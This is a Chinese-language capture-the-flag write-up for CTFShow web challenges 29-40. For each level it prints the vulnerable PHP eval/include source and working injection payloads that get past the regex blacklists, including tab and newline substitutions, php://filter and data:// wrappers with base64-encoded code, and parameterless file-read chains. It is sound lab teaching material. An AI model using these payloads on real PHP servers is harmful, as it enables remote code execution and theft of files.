CTFShow-WEB入门篇命令执行详细Wp(29-40)

这篇具有很好参考价值的文章主要介绍了CTFShow-WEB入门篇命令执行详细Wp(29-40)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CTFShow 平台:https://ctf.show/

命令执行:

Web29:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

preg_match():函数执行一个正则表达式匹配。

这里过滤了flag/i 过滤的不是很多就两个所以方法有很多种

?c=system('tac f*');
?c=system("cp fla?.php 1.txt");#然后访问1.txt

CTFShow-WEB入门篇命令执行详细Wp(29-40)

CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{f6702830-5d6b-4cfb-9678-4ae7fa2ba198}

Web30:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag、system、php 其实还可以使用上面的方法换一个命令执行函数即可。

命令执行函数:passthru、shell_exec、exec等 其实这里还可以使用反引号 `

`反引号和shell_exec意思相同在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

?c=echo `tac f*`;
?c=passthru('tac f*');

CTFShow-WEB入门篇命令执行详细Wp(29-40)
CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{c2ef0b5a-047d-4242-8567-daea91a6e06b}

Web31:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里又过滤了cat sort 和空格 可以使用使用空格绕过(%09) 也可也使用&拼接使用eval函数可以使用POST和GET其实一样的

c=eval($_GET[cmd]);&cmd=system("tac f*");
?c=echo (`tac%09f*`);

CTFShow-WEB入门篇命令执行详细Wp(29-40)
CTFShow-WEB入门篇命令执行详细Wp(29-40)
CTFShow-WEB入门篇命令执行详细Wp(29-40)
CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{e66df5c7-07fb-4e6e-bcbb-46b209308c9d}

web32:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里又过滤了反斜杠,echo,分号,括号 这里可以使用include函数可以不用括号 实现文件包含 配合伪协议 分号可以使用>? 代替

PS:我们只需要知道 过滤了参数可以使用代替进行绕过就行了这是做题的思路 还是很好理解的

php://filter/read=convert.base64-encode/resource=flag.php #伪协议
?c=include_GET[cmd]>?&cmd=php://filter/read=convert.base64-encode/resource=flag.php

CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{22eca81d-7663-4150-bc72-57825852ad03}

web33:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤 了双引号 这里还是和上面那题一样的Payload就可以没啥新的知识点!

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

CTFShow-WEB入门篇命令执行详细Wp(29-40)
CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{34945d8a-89fa-48b8-919a-883dc71f740c}

web34:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里多了冒号好像,这里也是一样的Payload,但是我们这里用别的伪协议data://进行测试

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>

CTFShow-WEB入门篇命令执行详细Wp(29-40)

CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{1378052e-d82c-446b-9e8d-5c1249ec1001}

web35:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了,=号和<括号这里可以使用database64 把要执行的命令加密了传进去<?php system("cat flag.php");?>

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>
?c=include$_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
#到这里有三种方法可以使用

CTFShow-WEB入门篇命令执行详细Wp(29-40)
CTFShow-WEB入门篇命令执行详细Wp(29-40)

CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{2529c316-96d3-442b-9642-2135d3cb9904}

web36:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里过滤了数字0-9 还是可以使用上面的PayLoad只要传参的不是数字就行

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>

CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{ece6bc01-4a5c-4d30-b638-c8e77800d3f5}

web37:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这里过滤了flag 有文件包含了 可以使用伪协议

?c=php://filter/read=convert.base64-encode/resource=flag.php #这里过滤了flag不要使用这一条没用 我只是都想测一遍用下面两个
?c=data://text/palin,<?php system("tac f*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==

CTFShow-WEB入门篇命令执行详细Wp(29-40)
CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{472ace50-bae6-472b-b9a3-1c9631a2c34d}

web38:

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这里过滤了phpfile 所以可以使用短标签‘<?=’是PHP的一个短的开放式标签

?c=data://text/palin,<?php system("tac f*");?> #(使用不了用第二个我只是进行对比)这里php被过滤了使用不了可以改为短标签
?c=data://text/palin,<?=system("tac f*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==

CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{42276d5b-2bb2-419a-9eba-7d93704753dd}

web39:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}
?c=data://text/palin,<?=system("tac f*");?>
?c=data://text/palin,<?php system("tac f*");?>

CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{831f530f-d4d3-4ae5-91e7-1e8093d194e8}

web40:

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤了很多字符 有大写得括号 这里得考点是:无参数文件读取

无参数的意思可以是a()、a(b())a(b(c())),但不能是a('b')a('b','c'),不能带参数

localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos()current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

array_reverse():数组逆序
array_flip()是交换数组的键和值

?c=print_r(show_source(array_rand(array_flip(scandir(pos(localeconv()))))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
next(): 函数将内部指针指向数组中的下一个元素,并输出。
?c=print_r(scandir(current(localeconv())));
scandir(current(localeconv())) 查看当前目录所有文件名
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

CTFShow-WEB入门篇命令执行详细Wp(29-40)
CTFShow-WEB入门篇命令执行详细Wp(29-40)

ctfshow{272b2a98-1f96-4742-bfab-f2893df46d9e}

CTFShow-WEB入门篇命令执行详细Wp(29-40)
至此29-40就完结了 希望对刚入门对Web感兴趣得小伙伴有帮助 感谢大家支持~ 我们下一篇见!文章来源地址https://www.toymoban.com/news/detail-494794.html

到了这里,关于CTFShow-WEB入门篇命令执行详细Wp(29-40)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ctfshow web入门 命令执行 web29~web77 web118~web124

    只过滤了flag,简简单单。 payload: 过滤了flag、system、php。 payload: 过滤了flag、system、php、cat、sort、shell、 . 、 、 \\\' 。 payload: 过滤了flag、system、php、cat、sort、shell、 . 、 、 \\\' 、`、echo、 ; 、 ( 。 ; 可以用 ? 代替 payload: include$_GET[1]? 就是包含GET参数1的值,而1的值没有任何

    2023年04月08日
    浏览(44)
  • ctfshow命令执行(web29-web52)

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 web45 web46 web47 web48 web49 web50 web51 web52 代码解释判断是否存在GET型参数c 如果存在赋值给变量c 如果参数值没有匹配到字符串flag则执行代码 eval() 直接传参 第一种方法 ?c=system(\\\'ls\\\'); ?c=system(\\\'tac f*\\\'); 第二

    2024年01月20日
    浏览(43)
  • CTFShow-Web入门

    web1 解题思路: 查看源代码 web2 解题思路: 在无法查看源代码的情况下可以使用快捷键 web3 解题思路: 查看源代码无效,尝试发送POST请求 web4 解题思路: 根据题目提示: 总有人把后台地址写入robots,帮黑阔大佬们引路。 找到了flag的路径 web5 解题思路: 根据题目提醒phps源码泄露,访

    2024年02月12日
    浏览(36)
  • ctfshow-web入门37-52

    include($c); 表达式包含并运行指定文件。 使用data伪协议 ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== 是?php system(\\\'cat flag.php\\\');? base64加密 源代码查看得到flag 多禁用了php和file。不会改变伪协议,继续使用上一题命令 ?c=data://text/plain

    2024年02月06日
    浏览(42)
  • ctfshow-web入门-信息收集

    ​Ctrl+U或者F12 查看页面源代码. ​JS禁用F12,Ctrl+U查看源代码 ​前端未泄露,抓包查看返回包发现Flag ​robots.txt文件泄露 ​phps源码泄露,phps存放着php源码,可通过尝试访问/index.phps读取,或者尝试扫描工具扫描读取 phps即为 PHP Source。 ​访问index.phps下载phps文件查看flag ​网站源

    2024年02月05日
    浏览(37)
  • 《CTFshow-Web入门》07. Web 61~70

    ctf - web入门 web61~70:post 请求之 eval() 利用。 这几个题都和 web58 一样。可能内部禁用的函数不一样吧。但 payload 都差不多。不多解释了。 以下解法随便挑一个即可。可能不同题会有部分函数被禁。 payload1 : payload2 : payload3 : payload4 : 题目没变化。 随便试一个函数。 根据

    2024年02月01日
    浏览(46)
  • 《CTFshow-Web入门》09. Web 81~90

    ctf - web入门 web81:include() 利用,一句话木马之 Nginx 日志利用。 web82~86:include() 利用,条件竞争,利用 session 文件写入一句话木马。 web87:file_put_contents() 利用,伪协议 php://filter/ 。 web88:include() 利用,正则绕过,伪协议 data:// 。 web89:PHP 特性之 intval()。 web90:PHP 特性之

    2024年02月10日
    浏览(38)
  • 《CTFshow-Web入门》01. Web 1~10

    ctf - web入门 web1:网页源码查看。 web2:网页源码查看。 web3:burpsuite 抓包查看响应数据包。 web4:robots.txt 文件泄露后台地址。 web5:phps 文件泄露源码。 web6:网站备份压缩文件泄露源码。 web7:版本控制之 git 泄露源码。 web8:版本控制之 svn 泄露源码。 web9:vim 缓存信息泄露

    2024年02月05日
    浏览(61)
  • ctfshow-web入门——爆破(web21-web28)

    1.bp工具的使用 bp爆破的大概步骤: 抓包,Send to Intruder,Positions页面,add$(加入想要爆破的值),Payloads页面,Payload Options,Load,导入想跑的字典,点击Start attack custom iterator(自定义迭代器)模式: payload type选Custom iterrator,position1填admin,position2填: ,position3导入字典,按照

    2024年02月04日
    浏览(42)
  • ctfshow-web3

    CTF 加解密合集 CTF Web合集 这个题目一看就知道是一个文件包含漏洞 php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。 所以就可以直接执行命令 发现一个ctf_go_go_go的文件,然后读取就是了 以上

    2024年02月15日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包